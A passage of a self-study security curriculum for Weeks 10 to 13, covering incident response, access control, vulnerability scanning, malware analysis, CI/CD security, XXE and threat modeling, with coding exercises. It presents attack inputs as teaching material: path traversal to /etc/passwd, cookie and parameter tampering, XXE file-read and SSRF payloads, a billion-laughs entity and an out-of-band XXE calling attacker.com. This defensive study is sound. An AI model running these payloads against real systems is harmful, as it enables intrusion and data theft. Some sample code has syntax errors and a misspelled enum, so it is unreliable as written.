def **init**(self, timestamp, severity, src_ip, dst_ip):
super().**init**(timestamp, severity)
self.src_ip = src_ip
```

self.dst_ip = dst_ip
`- **Method overriding:** Child class redefines parent method - **super():** Call parent class methods - **Polymorphism:** Same interface, different implementations - **Abstract Base Classes (ABC):** Define interfaces` python
from abc import ABC, abstractmethod

class BaseDetector(ABC):
@abstractmethod
def detect(self, data):
pass
```

### PortSwigger CSRF Labs (4 hours)

**Complete 8 CSRF Labs**

**CSRF (Cross-Site Request Forgery) Fundamentals:**
- Attacker tricks victim's browser into making unwanted request
- Exploits user's authenticated session
- No CSRF tokens or weak token validation

**Lab List:**
1. CSRF vulnerability with no defenses
2. CSRF where token validation depends on request method
3. CSRF where token validation depends on token being present
4. CSRF where token is not tied to user session
5. CSRF where token is tied to non-session cookie
6. CSRF where token is duplicated in cookie
7. CSRF where Referer validation depends on header being present
8. CSRF with broken Referer validation

**Access:** https://portswigger.net/web-security/csrf

**Prevention Techniques:**
- Anti-CSRF tokens (synchronizer tokens)
- SameSite cookies
- Double-submit cookies
- Referer/Origin header validation

## Deliverables

- [ ] Custom Snort rules created (5+ rules for SQL injection)
- [ ] PCAP analysis report with findings (port scan, exfiltration, DNS tunneling)
- [ ] Phishing email analysis checklist completed
- [ ] Network traffic analyzer tool (Scapy-based)
- [ ] 8 CSRF labs complete (Total: 44/211)
- [ ] Python Workout Ch 11 all exercises complete
- [ ] IDS/IPS comparison document
- [ ] Python fluency: 8/10
```

Time Allocation Summary

Activity	Hours
Snort/Suricata Reading	2
PCAP Analysis Reading	2
Email Security Reading	1
Network Attack Patterns	1
Snort Installation & Rules	3
PCAP Analysis Exercise	3
Phishing Analysis	2
Traffic Analyzer Coding	2
Python Workout Ch 11	6
PortSwigger CSRF Labs	4
TOTAL	**24**

Week 10: Incident Response + Web Security Deep Dive

February 17-23, 2026 | Total: 26 hours

Security Engineering Focus (16 hours)

Core Topics

- **NIST Incident Response Framework (NIST SP 800-61r2)**
- **Phase 1: Preparation**
    - Develop IR policy and procedures
    - Create incident response team with defined roles
    - Establish communication procedures
    - Deploy security tools (SIEM, EDR, network monitoring)
    - Conduct training and awareness
    - Maintain incident response kit
- **Phase 2: Detection and Analysis**
    - Monitor security alerts from multiple sources

  - Analyze indicators of compromise (IOCs)
  - Determine incident scope and impact
  - Document initial findings
  - Assign severity level (P0-Critical to P4-Low)
- **Phase 3: Containment, Eradication, and Recovery**
  - **Short-term containment:** Isolate affected systems, disable compromised accounts
  - **Long-term containment:** Apply patches, update configurations
  - **Eradication:** Remove malware, delete backdoors, fix vulnerabilities
  - **Recovery:** Restore from clean backups, monitor for recurrence
- **Phase 4: Post-Incident Activity**
  - Conduct lessons learned meeting
  - Document timeline and actions taken
  - Update IR procedures based on findings
  - Share threat intelligence
- **Incident Classification and Prioritization**
- **P0 (Critical):** Active data breach, ransomware encryption, complete system compromise
- **P1 (High):** Confirmed malware infection, unauthorized access to sensitive data
- **P2 (Medium):** Suspicious activity, potential compromise, policy violations
- **P3 (Low):** False positives, minor security events
- **P4 (Informational):** Security updates, awareness notifications
- **Containment Strategies**
- **Network Isolation:**
  - Disconnect from network (physical or VLAN isolation)
  - Block traffic at firewall
  - Null route malicious IPs
- **Account Actions:**
  - Disable compromised user accounts
  - Reset passwords
  - Revoke API keys and certificates
- **System Actions:**
  - Shut down affected systems (if critical data at risk)
  - Snapshot virtual machines for forensics
  - Enable enhanced logging
- **Digital Forensics Basics**

- **Order of Volatility (collect most volatile first):**
  1. CPU registers, cache
  2. RAM (memory dump)
  3. Network connections, routing tables
  4. Running processes
  5. Disk storage
  6. Logs and archives
- **Evidence Preservation:**
  - Chain of custody documentation
  - Write-blockers for disk imaging
  - Cryptographic hashes (SHA-256) to verify integrity
  - Never work on original evidence
- **Volatile Data Collection:**
  ```
  bash # Linux volatile data collection ps aux > processes.txt netstat -anp > network_connections.txt lsof > open_files.txt cat /proc/meminfo > memory_info.txt
  ```
- **Access Control Vulnerabilities**
- **IDOR (Insecure Direct Object Reference):**
  - Example: `https://example.com/api/user/123/profile`
  - Attacker changes `123` to `124` to access other user's data
  - Prevention: Validate user authorization for each object access
- **BOLA (Broken Object Level Authorization):**
  - Similar to IDOR but specifically for APIs
  - Missing function-level access checks
- **Broken Function Level Authorization:**
  - Regular user can access admin functions
  - Example: `/admin/users` accessible to non-admin
  - Prevention: Implement role-based access control (RBAC)
- **Path Traversal:**
  - Example: `https://example.com/download?file=../../../etc/passwd`
  - Access files outside intended directory
  - Prevention: Whitelist allowed files, sanitize input

Reading Materials (6 hours)

1. **NIST SP 800-61r2: Computer Security Incident Handling Guide** (3 hours)
2. URL: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf

3. Sections: All sections, focus on 2.3 (IR Lifecycle), 3.2 (Handling)
4. Key takeaways: 4-phase model, severity classification
5. **PortSwigger Access Control Guide** (2 hours)
6. URL: https://portswigger.net/web-security/access-control
7. Focus: IDOR, vertical/horizontal privilege escalation
8. Real-world examples and exploitation techniques
9. **OWASP Access Control Cheat Sheet** (1 hour)
10. URL: https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html
11. Best practices for implementing access controls
12. Common pitfalls and secure design patterns

Labs & Practical Exercises (7 hours)

1. **Incident Response Tabletop Exercise** (3 hours)
2. **Scenario:** Ransomware infection on file server
3. Timeline:
    - T+0: Alert from EDR about suspicious encryption activity
    - T+5 min: Multiple users report files inaccessible
    - T+10 min: Ransom note discovered on desktop
4. Exercise Tasks:
    1. Classify incident severity (P0/P1/P2?)
    2. Determine containment actions (isolate server? network segment?)
    3. Identify stakeholders to notify (CISO, Legal, PR?)
    4. Plan eradication steps (which backups to use?)
    5. Document timeline of events
    6. Create communication plan
5. Deliverable: Completed IR playbook for ransomware
6. **Volatile Data Collection** (2 hours)
7. Practice on Linux VM:

```bash
# Create collection script
#!/bin/bash
OUTDIR="ir_collection_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTDIR

# System info
uname -a > $OUTDIR/system_info.txt
hostname > $OUTDIR/hostname.txt
```

```
# Users and processes
who > $OUTDIR/logged_in_users.txt
ps auxww > $OUTDIR/processes.txt

# Network
netstat -anp > $OUTDIR/network_connections.txt
arp -a > $OUTDIR/arp_cache.txt

# Files
lsof > $OUTDIR/open_files.txt

# Hash for integrity
sha256sum $OUTDIR/* > $OUTDIR/checksums.txt
```

- Practice Windows equivalent with PowerShell
- Create automated collection script

8. **Access Control Testing** (2 hours)
9. Set up vulnerable web application (DVWA or WebGoat)
10. Test for IDOR vulnerabilities:
    - Enumerate user IDs
    - Attempt to access other users' resources
    - Test horizontal and vertical privilege escalation
11. Document findings in security report format

Coding Challenge (3 hours)

Task: Incident Response Automation Tool

```python
# incident_response_tool.py
import datetime
import json
from enum import Enum

class IncidentSeverity(Enum):
    P0_CRITICAL = "Critical - Active breach or ransomware"
    P1_HIGH = "High - Confirmed compromise"
    P2_MEDIUM = "Medium - Suspicious activity"
    P3_LOW = "Low - Minor security event"
    P4_INFO = "Informational"

class IncidentStatus(Enum):
    NEW = "New"
    CONTAINED = "Contained"
    ERACIATED = "Eradicated"
    RECOVERED = "Recovered"
    CLOSED = "Closed"

class Incident:
    """Incident Response tracking class"""

    def __init__(self, title, description, severity):
        self.id = self._generate_id()
        self.title = title
        self.description = description
        self.severity = severity
        self.status = IncidentStatus.NEW
        self.timeline = []
        self.created_at = datetime.datetime.now()
        self._add_timeline_event("Incident created")

    def _generate_id(self):
        """Generate unique incident ID"""
        return f"INC-{datetime.datetime.now().strftime('%Y%m%d-%H%M%S')}"

    def _add_timeline_event(self, event):
        """Add event to incident timeline"""
        self.timeline.append({
            'timestamp': datetime.datetime.now().isoformat(),
            'event': event
        })

    def update_status(self, new_status, notes=""):
        """Update incident status"""
        self.status = new_status
        event = f"Status changed to {new_status.value}"
        if notes:
            event += f": {notes}"
        self._add_timeline_event(event)

    def add_action(self, action):
        """Document action taken"""
        self._add_timeline_event(f"Action: {action}")

    def escalate(self):
        """Escalate incident severity"""
        severities = list(IncidentSeverity)
        current_index = severities.index(self.severity)
        if current_index > 0:
            self.severity = severities[current_index - 1]
            self._add_timeline_event(f"Escalated to {self.severity.value}")

    def generate_report(self):
        """Generate incident report"""
        report = {
            'id': self.id,
            'title': self.title,
            'description': self.description,
            'severity': self.severity.value,
            'status': self.status.value,
            'created_at': self.created_at.isoformat(),
            'timeline': self.timeline
        }
        return json.dumps(report, indent=2)

# Usage example
incident = Incident(
    title="Suspicious Outbound Traffic to Known C2 Server",
    description="EDR detected persistent connection to 185.220.101.X every 60 seconds",
    severity=IncidentSeverity.P1_HIGH
)

incident.add_action("Isolated affected workstation from network")
incident.add_action("Captured memory dump for analysis")
incident.update_status(IncidentStatus.CONTAINED, "System isolated, investigating scope")
incident.add_action("Identified malware: AsyncRAT")
incident.update_status(IncidentStatus.ERACIATED, "Malware removed, system reimaged")

print(incident.generate_report())
```

Requirements:
- Track incident lifecycle (New → Contained → Eradicated → Recovered → Closed)
- Support all NIST IR phases
- Maintain detailed timeline of events
- Generate JSON report

- Allow severity escalation/de-escalation
- Document actions taken

AppSec Focus (10 hours)

PortSwigger Access Control Labs (10 hours)

Complete 10 Access Control Labs

Concepts Covered:
- Vertical privilege escalation (user → admin)
- Horizontal privilege escalation (user1 → user2)
- IDOR vulnerabilities
- Parameter tampering
- Insecure direct object references

Lab List:
1. Unprotected admin functionality
2. Unprotected admin functionality with unpredictable URL
3. User role controlled by request parameter
4. User role can be modified in user profile
5. User ID controlled by request parameter
6. User ID controlled by request parameter, with unpredictable user IDs
7. User ID controlled by request parameter with data leakage in redirect
8. User ID controlled by request parameter with password disclosure
9. Insecure direct object references
10. Multi-step process with no access control on one step

Access: https://portswigger.net/web-security/access-control

Testing Methodology:
1. Identify access control mechanism (cookies, parameters, headers)
2. Enumerate user roles and IDs
3. Test parameter tampering:

```
# Original request
GET /user/profile?id=123

# Modified request
GET /user/profile?id=124 # Horizontal escalation

# Admin access test
GET /admin/panel
Cookie: role=admin
```

4. Test direct object references
5. Document successful exploits

Common Exploitation Patterns:
- Change `user=wiener` to `user=carlos` in cookies/parameters
- Modify `admin=false` to `admin=true`
- Access `/admin` endpoints directly

- Tamper with hidden form fields
- Modify Referer header

Deliverables

- [ ] Incident Response playbook for ransomware scenario
- [ ] Volatile data collection script (Linux and Windows)
- [ ] IR automation tool with full incident lifecycle
- [ ] 10 Access Control labs complete (Total: 54/211)
- [ ] IDOR vulnerability testing report
- [ ] Access control security cheat sheet
- [ ] Python fluency: 8/10

Time Allocation Summary

Activity	Hours
NIST 800-61r2 Reading	3
Access Control Reading	2
OWASP Cheat Sheet	1
IR Tabletop Exercise	3
Volatile Data Collection Lab	2
Access Control Testing	2
IR Tool Development	3
PortSwigger Access Control Labs	10
TOTAL	**26**

Week 11: Vulnerability Management + SAST Basics

February 24 - March 2, 2026 | Total: 25 hours

Security Engineering Focus (13 hours)

Core Topics

- **Vulnerability Scanners**

- **Nessus:** Commercial vulnerability scanner
    - Plugin-based detection (100,000+ plugins)
    - Authenticated vs unauthenticated scans
    - Compliance scanning (PCI-DSS, HIPAA)
    - Installation: Nessus Essentials (free for 16 IPs)
- **OpenVAS:** Open-source alternative to Nessus
    - Greenbone Security Feed
    - Similar capabilities, community-driven
- **Qualys:** Cloud-based scanning platform
    - Asset discovery and inventory
    - Continuous monitoring
    - Web application scanning
- **CVSS Scoring System**
- **CVSS v3.1 Components:**
    - **Base Score (0-10):** Intrinsic vulnerability qualities
    - Attack Vector (Network, Adjacent, Local, Physical)
    - Attack Complexity (Low, High)
    - Privileges Required (None, Low, High)
    - User Interaction (None, Required)
    - Scope (Unchanged, Changed)
    - Impact: Confidentiality, Integrity, Availability (None, Low, High)
    - **Temporal Score:** Exploit maturity, remediation level, report confidence
    - **Environmental Score:** Customized for your environment
- **Severity Ratings:**
    - 9.0-10.0: Critical
    - 7.0-8.9: High
    - 4.0-6.9: Medium
    - 0.1-3.9: Low
- **CVSS Calculator:** https://www.first.org/cvss/calculator/3.1
- **Patch Management**
- **Lifecycle:**
    1. Discovery: Identify missing patches
    2. Assessment: Evaluate criticality and impact
    3. Testing: Test patches in non-production
    4. Deployment: Roll out to production

5. Verification: Confirm successful installation

- **SLA-based Remediation:**
    - Critical: 24-48 hours
    - High: 7 days
    - Medium: 30 days
    - Low: 90 days
- **Risk Acceptance:**
    - Document why vulnerability won't be fixed
    - Compensating controls
    - Business justification
    - Requires management approval
- **Asset Discovery**
- **Active Scanning:** Nmap, Nessus
- **Passive Reconnaissance:** Shodan, Censys
- **Network Mapping:** Draw topology diagrams
- **Asset Inventory:** Track all systems, services, owners

Reading Materials (5 hours)

1. **CVSS v3.1 Specification** (2 hours)
2. URL: https://www.first.org/cvss/specification-document
3. Understand all base metrics
4. Practice scoring vulnerabilities
5. **Nessus User Guide** (2 hours)
6. Installation and configuration
7. Scan policy creation
8. Report interpretation
9. **Patch Management Best Practices** (1 hour)
10. [Target Company] Patch Tuesday
11. Change management integration
12. Testing procedures

Labs & Practical Exercises (6 hours)

1. **Nessus Installation & Scanning** (3 hours)
2. Download Nessus Essentials: https://www.tenable.com/products/nessus/nessus-essentials
3. Install on Linux VM
4. Configure scan policies

5. Perform authenticated scan of local network
6. Generate and analyze report
7. **CVSS Scoring Exercise** (2 hours)
8. Score 10 real CVEs using CVSS calculator
9. Practice scenarios:
    - CVE-2021-44228 (Log4Shell): Calculate base score
    - SQL injection in web app: Determine severity
    - Local privilege escalation: Score appropriately
10. Justify each metric choice
11. **Vulnerability Prioritization** (1 hour)
12. Given list of 50 vulnerabilities
13. Prioritize based on CVSS, exploitability, asset criticality
14. Create remediation timeline
15. Document risk acceptance for low-priority items

Coding Challenge (2 hours)

Task: Vulnerability Report Parser

```
# vuln_parser.py
import xml.etree.ElementTree as ET
from collections import defaultdict

class NessusReportParser:
    def __init__(self, nessus_file):
        self.tree = ET.parse(nessus_file)
        self.root = self.tree.getroot()

    def get_vulnerabilities_by_severity(self):
        """Group vulnerabilities by severity"""
        by_severity = defaultdict(list)

        for host in self.root.findall('.//ReportHost'):
            host_name = host.get('name')

            for item in host.findall('.//ReportItem'):
                severity = item.get('severity', '0')
                plugin_name = item.get('pluginName', 'Unknown')

                vuln = {
                    'host': host_name,
                    'plugin': plugin_name,
                    'severity': severity,
                    'plugin_id': item.get('pluginID'),
                    'cvss': item.find('cvss_base_score').text if item.find('cvss_base_score') is not None
                }

                severity_map = {
                    '0': 'Info',
                    '1': 'Low',
                    '2': 'Medium',
                    '3': 'High',
                    '4': 'Critical'
                }

                by_severity[severity_map.get(severity, 'Unknown')].append(vuln)

        return dict(by_severity)

    def get_critical_vulnerabilities(self):
        """Return all critical severity findings"""
        critical = []

        for host in self.root.findall('.//ReportHost'):
            for item in host.findall('.//ReportItem[@severity="4"]'):
                critical.append({
                    'host': host.get('name'),
                    'plugin': item.get('pluginName'),
                    'cvss': item.find('cvss_base_score').text if item.find('cvss_base_score') is not None
                    'description': item.find('description').text if item.find('description') is not None e
                })

        return critical

    def generate_summary(self):
        """Generate executive summary"""
        by_sev = self.get_vulnerabilities_by_severity()

        summary = {
            'total_hosts': len(self.root.findall('.//ReportHost')),
            'critical_count': len(by_sev.get('Critical', [])),
            'high_count': len(by_sev.get('High', [])),
            'medium_count': len(by_sev.get('Medium', [])),
            'low_count': len(by_sev.get('Low', []))
        }

        return summary

# Usage
parser = NessusReportParser('scan_results.nessus')
summary = parser.generate_summary()
print(f"Scan Summary: {summary}")

critical = parser.get_critical_vulnerabilities()
print(f"Critical vulnerabilities: {len(critical)}")
```

AppSec Focus (12 hours)

SAST Fundamentals (4 hours)

- **Static Application Security Testing (SAST):**
- Analyze source code without execution
- Find vulnerabilities: SQL injection, XSS, hardcoded secrets
- IDE integration for developer feedback
- **Semgrep Basics:**
- **Installation:**
  `bash pip install semgrep --break-system-packages`
- **Rule Syntax:**
  ```yaml
  rules:
    - id: hardcoded-password
      pattern: password = "..."
  ```

message: Hardcoded password detected
severity: WARNING
languages: [python]
```

- **Running Scans:**
  `bash semgrep --config=auto . semgrep --config=p/security-audit .`

### Semgrep Academy (2 hours)

- **Free Training:** https://academy.semgrep.dev/
- Complete modules:
- Introduction to Semgrep
- Writing custom rules
- Pattern matching basics
- Metavariables and ellipsis

### Python Iterators & Generators (3 hours)

```
# Iterators
class LogIterator:
    def __init__(self, log_file):
        self.log_file = open(log_file)

    def __iter__(self):
        return self

    def __next__(self):
        line = self.log_file.readline()
        if not line:
            self.log_file.close()
            raise StopIteration
        return line.strip()

# Generators (memory efficient)
def read_large_log(filename):
    with open(filename) as f:
        for line in f:
            yield line.strip()

# Generator expression
suspicious_ips = (line for line in read_large_log('access.log') if 'admin' in line)
```

PortSwigger SSRF Labs (3 hours)

Complete 6 SSRF (Server-Side Request Forgery) Labs
```

SSRF Concepts:
- Server makes HTTP request based on user input
- Attacker can access internal resources
- Bypasses firewalls and network segmentation

Lab List:
1. Basic SSRF against localhost
2. Basic SSRF against another back-end system
3. SSRF with blacklist-based input filter
4. SSRF with whitelist-based input filter
5. SSRF with filter bypass via open redirection
6. Blind SSRF with out-of-band detection

Access: https://portswigger.net/web-security/ssrf

Deliverables

- [ ] Nessus scan report with prioritized findings
- [ ] CVSS scoring worksheet (10 vulnerabilities scored)
- [ ] 3 custom Semgrep rules created
- [ ] Vulnerability report parser completed
- [ ] 6 SSRF labs complete (Total: 60/211)
- [ ] Semgrep Academy modules complete
- [ ] Asset inventory for local network
- [ ] Python iterators/generators practice complete

Time Allocation Summary

Activity	Hours
CVSS Specification Reading	2
Nessus Documentation	2
Patch Management Study	1
Nessus Installation & Scanning	3
CVSS Scoring Exercise	2
Vulnerability Prioritization	1
Report Parser Coding	2
SAST/Semgrep Study	4
Semgrep Academy	2
Python Iterators/Generators	3
PortSwigger SSRF Labs	3
TOTAL	**25**

Week 12: Malware Analysis + CI/CD Security

March 3-9, 2026 | Total: 25 hours

Security Engineering Focus (15 hours)

Core Topics

- **Malware Analysis Fundamentals**
- **Static Analysis:**
  - File hash calculation (MD5, SHA-1, SHA-256)
  - Strings extraction: `strings malware.exe`
  - PE (Portable Executable) header analysis
  - Dependency analysis (DLL imports)
  - No code execution - safe analysis
- **Dynamic Analysis:**
  - Execute malware in sandbox/VM

- Monitor behavior: File system, registry, network
- Tools: Process Monitor, Wireshark, Regshot
- API call monitoring

- **Behavioral Indicators:**
  - Persistence mechanisms: Registry Run keys, Startup folder, Scheduled tasks
  - C2 communication: Beaconing intervals, protocols
  - Lateral movement: SMB, RDP, WMI
  - Data exfiltration: Large uploads, encryption

- **YARA Rules**
- **Purpose:** Pattern matching for malware detection
- **Rule Structure:**
  ```yara
  rule Detect_Ransomware
  {
  meta:
  description = "Detects common ransomware behavior"
  author = "Security Team"
  date = "2026-03-03"

```
strings:
    $encrypt1 = "AES" ascii
    $encrypt2 = "RSA" ascii
    $ransom = "decrypt" nocase
    $bitcoin = /[13][a-km-zA-HJ-NP-Z1-9]{25,34}/

condition:
    ($encrypt1 or $encrypt2) and $ransom and $bitcoin
```

}
`` - **String Patterns:** - ASCII/Wide strings - Hex patterns - Regular expressions - Wildcards - **Conditions:** - Boolean logic (and, or, not) - Count operators: #bitcoin > 5 - File size checks: filesize < 1MB`
- PE section analysis

- **Sandbox Analysis**
- **Cuckoo Sandbox:**
  - Open-source automated malware analysis
  - Linux-based with Windows VMs
  - Generates comprehensive reports
- **Any.Run:**
  - Cloud-based interactive sandbox
```

    - Real-time observation
    - Free tier available
- **Joe Sandbox:**
    - Commercial platform
    - Extensive behavior analysis
- **Analysis Outputs:**
    - Network traffic (PCAP)
    - API calls traced
    - Files created/modified
    - Registry changes
    - Screenshots/video
    - Behavioral score
- **CI/CD Security**
- **Pipeline Security Risks:**
    - **Malicious Code Injection:**
    - Compromised dependencies (supply chain)
    - Malicious pull requests
    - Backdoored build scripts
    - **Secrets Exposure:**
    - Hardcoded API keys in code
    - Secrets in build logs
    - Insufficient access controls
    - **Insecure Build Environments:**
    - Unpatched build servers
    - Shared build agents (cross-contamination)
    - Privileged build processes
- **GitHub Actions Security:**
    - **Workflow Permissions:** `yaml permissions: contents: read # Minimal permissions pull-requests: write`
    - **Secret Management:**
    - Use GitHub Secrets (encrypted)
    - Never log secrets: `echo "::add-mask::$SECRET"`
    - Rotate regularly
    - **Third-Party Actions:**
    - Pin to specific commit SHA (not tag)
    - Review action source code

    - Use verified creators
    - Example:
      ```yaml
        - uses: actions/checkout@a81bbbf8298c0fa03ea29cdc473d45769f953675 # v2
          ```

- **Security Scanning in CI/CD:**
    - SAST: Semgrep, SonarQube
    - DAST: OWASP ZAP in pipeline
    - Dependency scanning: Dependabot, [Target Company]
    - Container scanning: Trivy, Grype
    - Secret scanning: GitLeaks, TruffleHog
- **XXE (XML External Entity) Injection**
- **Vulnerability:** XML parser processes external entities
- **Attack Scenarios:**
    - **File Read:**
      `xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>`
    - **SSRF via XXE:**
      `xml <!ENTITY xxe SYSTEM "http://internal-server/admin">`
    - **Denial of Service (Billion Laughs):**
      `xml <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">`
- **Prevention:**
    - Disable external entity processing
    - Use less complex data formats (JSON)
    - Validate and sanitize XML input
    - Python example:
      `python from defusedxml import ElementTree tree = ElementTree.parse('untrusted.xml') # Safe parsing`

Reading Materials (6 hours)

1. **Practical Malware Analysis Introduction** (2 hours)
2. Chapters on static and dynamic analysis techniques
3. Tools overview: IDA Pro, Ghidra, OllyDbg
4. **YARA Documentation** (1 hour)
5. URL: https://yara.readthedocs.io/
6. Writing effective rules

7. Performance optimization
8. **GitHub Actions Security Best Practices** (2 hours)
9. URL: https://docs.github.com/en/actions/security-guides
10. Workflow permissions model
11. Secret management
12. Third-party action security
13. **PortSwigger XXE Guide** (1 hour)
14. URL: https://portswigger.net/web-security/xxe
15. Attack techniques and prevention

Labs & Practical Exercises (6 hours)

1. **Static Malware Analysis** (2 hours)
2. Download malware samples from theZoo (https://github.com/ytisf/theZoo)
3. **WARNING:** Use isolated VM, no network
4. Extract strings:
   `bash strings malware.exe | grep -i http strings malware.exe | grep -i password`
5. Calculate hashes:
   `bash md5sum malware.exe sha256sum malware.exe`
6. Check VirusTotal: https://www.virustotal.com/
7. PE analysis with `peframe` or `pefile` library
8. **YARA Rule Writing** (2 hours)
9. Write YARA rules to detect:
   - Malware with specific C2 domains
   - Files with embedded PowerShell
   - Ransomware indicators
10. Test rules:
    `bash yara my_rules.yar /path/to/samples/`
11. Create rule for detecting malicious Python scripts
12. **Sandbox Analysis** (2 hours)
13. Sign up for Any.Run (free tier)
14. Submit suspicious files
15. Analyze reports:
    - Network connections made
    - Files dropped
    - Registry modifications
    - Process tree

16. Compare with VirusTotal results

Coding Challenge (3 hours)

Task: YARA Scanner Tool

```
# yara_scanner.py
import yara
import os
import hashlib
import json

class YARAScanner:
    """Scan files with YARA rules"""

    def __init__(self, rules_path):
        self.rules = yara.compile(filepath=rules_path)
        self.results = []

    def calculate_hash(self, filepath):
        """Calculate SHA-256 hash of file\"\"\"
        sha256 = hashlib.sha256()
        with open(filepath, 'rb') as f:
            for chunk in iter(lambda: f.read(4096), b""):
                sha256.update(chunk)
        return sha256.hexdigest()

    def scan_file(self, filepath):
        \"\"\"Scan single file with YARA rules\"\"\"
        matches = self.rules.match(filepath)
        if matches:
            result = {
                'file': filepath,
                'sha256': self.calculate_hash(filepath),
                'matches': [m.rule for m in matches],
                'tags': [tag for m in matches for tag in m.tags]
            }
            self.results.append(result)
            return matches
        return None

    def scan_directory(self, directory):
        \"\"\"Recursively scan directory\"\"\"
        for root, dirs, files in os.walk(directory):
            for filename in files:
                filepath = os.path.join(root, filename)
                try:
                    self.scan_file(filepath)
                except Exception as e:
                    print(f"Error scanning {filepath}: {e}")

    def generate_report(self, output_file='scan_results.json'):
        \"\"\"Generate JSON report of findings\"\"\"
        with open(output_file, 'w') as f:
            json.dump({
                'total_files_scanned': len(self.results),
                'detections': self.results
            }, f, indent=2)
        print(f"Report saved to {output_file}")

# Usage
scanner = YARAScanner('malware_rules.yar')
scanner.scan_directory('/path/to/scan')
scanner.generate_report()
```

AppSec Focus (10 hours)

PortSwigger XXE Labs (10 hours)

Complete XXE Lab Series

Lab List:
1. Exploiting XXE using external entities to retrieve files
2. Exploiting XXE to perform SSRF attacks
3. Blind XXE with out-of-band interaction
4. Blind XXE with out-of-band interaction via XML parameter entities
5. Exploiting blind XXE to exfiltrate data using a malicious external DTD
6. Exploiting blind XXE to retrieve data via error messages
7. Exploiting XInclude to retrieve files
8. Exploiting XXE via image file upload

Access: https://portswigger.net/web-security/xxe

Attack Payloads:

```
<!-- File retrieval -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>

<!-- SSRF -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.server/admin"> ]>

<!-- Out-of-band -->
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>
```

Deliverables

- [ ] Static malware analysis report (3 samples analyzed)
- [ ] 5 custom YARA rules created and tested
- [ ] Sandbox analysis report (Any.Run)
- [ ] YARA scanner tool with hash calculation

- [ ] GitHub Actions security checklist
- [ ] 8 XXE labs complete (Total: 68/211)
- [ ] Malware analysis methodology document
- [ ] Python fluency: 8.5/10

Time Allocation Summary

Activity	Hours
Malware Analysis Reading	2
YARA Documentation	1
GitHub Actions Security	2
XXE Reading	1
Static Analysis Lab	2
YARA Writing Lab	2
Sandbox Analysis	2
YARA Scanner Development	3
PortSwigger XXE Labs	10
TOTAL	**25**

Week 13: Reverse Engineering + Threat Modeling

March 10-16, 2026 | Total: 25 hours

Security Engineering Focus (15 hours)

Core Topics

- **x86/x64 Assembly Fundamentals**
- **Registers (x64):**
  - General Purpose: RAX, RBX, RCX, RDX (64-bit), EAX (32-bit), AX (16-bit)
  - Pointers: RSI (source index), RDI (destination index), RBP (base pointer), RSP (stack pointer)
  - Instruction Pointer: RIP (points to next instruction)
- **Common Instructions:**
  - `MOV dest, src` - Move data

- `ADD dest, src` - Addition
- `SUB dest, src` - Subtraction
- `PUSH value` - Push to stack
- `POP dest` - Pop from stack
- `CALL addr` - Function call
- `RET` - Return from function
- `JMP addr` - Unconditional jump
- `JE/JNE addr` - Conditional jump (equal/not equal)
- `CMP op1, op2` - Compare values (sets flags)

- **Stack Layout:** `High addresses [Function parameters] [Return address] ← Pushed by CALL [Saved RBP] ← Function prologue: PUSH RBP [Local variables] [Saved registers] Low addresses ← RSP points here`
- **Ghidra Reverse Engineering Tool**
- **Features:**
    - NSA-developed, open-source
    - Decompiler (assembly → C-like code)
    - Cross-platform (Windows, Linux, macOS)
    - Supports many architectures (x86, ARM, MIPS)
- **Basic Workflow:**
    1. Create new project
    2. Import binary (EXE, DLL, ELF)
    3. Analyze (auto-analysis recommended)
    4. Navigate:
    5. Symbol Tree: Functions, strings, imports
    6. Listing View: Disassembly
    7. Decompiler: C pseudo-code
    8. Identify entry point (main, DllMain)
    9. Follow function calls
    10. Rename variables for clarity
- **Key Windows:**
    - Listing: Assembly instructions
    - Decompile: High-level code view
    - Symbol Tree: Functions and data
    - Data Type Manager: Structures

- **Shortcuts:**
    - `L` : Rename label
    - `G` : Go to address
    - `;` : Add comment
    - `Ctrl+E` : Edit function signature
- **STRIDE Threat Modeling**
- **S - Spoofing:**
    - Attacker impersonates legitimate user/system
    - Examples: Phishing, session hijacking, IP spoofing
    - Mitigations: Authentication, digital signatures, certificate pinning
- **T - Tampering:**
    - Unauthorized modification of data
    - Examples: MITM attacks, SQL injection, code injection
    - Mitigations: Encryption, integrity checks (HMAC), input validation
- **R - Repudiation:**
    - Denying performed actions
    - Examples: Unauthorized transaction denial, log tampering
    - Mitigations: Digital signatures, audit logs, non-repudiation protocols
- **I - Information Disclosure:**
    - Exposure of confidential data
    - Examples: SQL injection, directory traversal, unencrypted traffic
    - Mitigations: Encryption, access controls, data minimization
- **D - Denial of Service:**
    - Disruption of service availability
    - Examples: DDoS, resource exhaustion, algorithmic complexity attacks
    - Mitigations: Rate limiting, load balancing, input validation
- **E - Elevation of Privilege:**
    - Gaining unauthorized permissions
    - Examples: Buffer overflow, privilege escalation, insecure deserialization
    - Mitigations: Principle of least privilege, input validation, sandboxing
- **Attack Trees**
- **Purpose:** Hierarchical representation of attack scenarios
- **Structure:**
    - Root: Attacker's goal (e.g., "Access sensitive data")

- Branches: Attack paths
    - Leaves: Specific attack techniques
    - AND/OR gates: Required vs alternative paths
- **Example:** `Access Customer Database (Goal) ├── OR: Exploit Web Application │ ├── AND: SQL Injection │ │ ├── Find vulnerable parameter │ │ └── Extract data via UNION │ └── Exploit IDOR vulnerability └── OR: Compromise Database Server ├── AND: SSH Brute Force │ ├── Enumerate valid usernames │ └── Dictionary attack └── Exploit unpatched CVE`
- **Benefits:**
    - Visualize attack scenarios
    - Prioritize defenses
    - Quantify risk (assign probabilities/costs)

Reading Materials (6 hours)

1. **x86 Assembly Crash Course** (2 hours)
2. URL: https://www.cs.virginia.edu/~evans/cs216/guides/x86.html
3. Focus: Registers, stack, common instructions
4. Practice reading simple assembly
5. **Ghidra Quick Start Guide** (2 hours)
6. NSA Ghidra documentation
7. Interface navigation
8. Basic analysis workflow
